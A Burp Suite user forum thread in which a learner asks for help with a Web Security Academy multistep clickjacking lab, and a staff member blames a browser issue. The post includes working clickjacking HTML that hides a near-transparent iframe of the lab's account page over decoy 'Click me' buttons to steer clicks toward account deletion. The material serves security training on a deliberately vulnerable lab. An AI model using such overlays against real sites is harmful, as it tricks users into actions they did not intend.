Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Multistep Clickjacking Lab Queries

Yohini | Last updated: Feb 29, 2024 12:10PM UTC

I am facing an issue where, after storing the code, upon selecting "view exploit", it does not display the delete account page. Despite attempting multiple URLs, I couldn't locate the page; instead, the login page remains visible. Below, I have provided the code I used and the various URLs I have tried. Urls https://0ab3006b03cb32638057cb8e00890051.web-security-academy.net/my-account https://0ab3006b03cb32638057cb8e00890051.web-security-academy.net/my-account?id=wiener https://0ab3006b03cb32638057cb8e00890051.web-security-academy.net/my-account/delete code: <style> iframe { position:relative; width: 500px; height: 700px; opacity: 0.0001; z-index: 2; } .firstClick { position:absolute; top: 110px; left: 50px; z-index: 1; } .secondClick { top: 100px; left: 200px; } </style> <div class="firstClick">Click me first</div> <div class="secondClick">Click me next</div> <iframe src="https://0ab3006b03cb32638057cb8e00890051.web-security-academy.net/my-account"></iframe> Kindly give me the solution code

Ben, PortSwigger Agent | Last updated: Feb 29, 2024 06:00PM UTC

Hi Yohini, There are currently some issues with the Clickjacking labs when used in conjunction with Burp's browser in the latest version of Burp (Burp's browser has some flags set that are not set by default in Chrome and these impact how these labs function). In the interim, whilst we resolve this issue, you should still be able to solve these labs using a normal version of Chrome.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.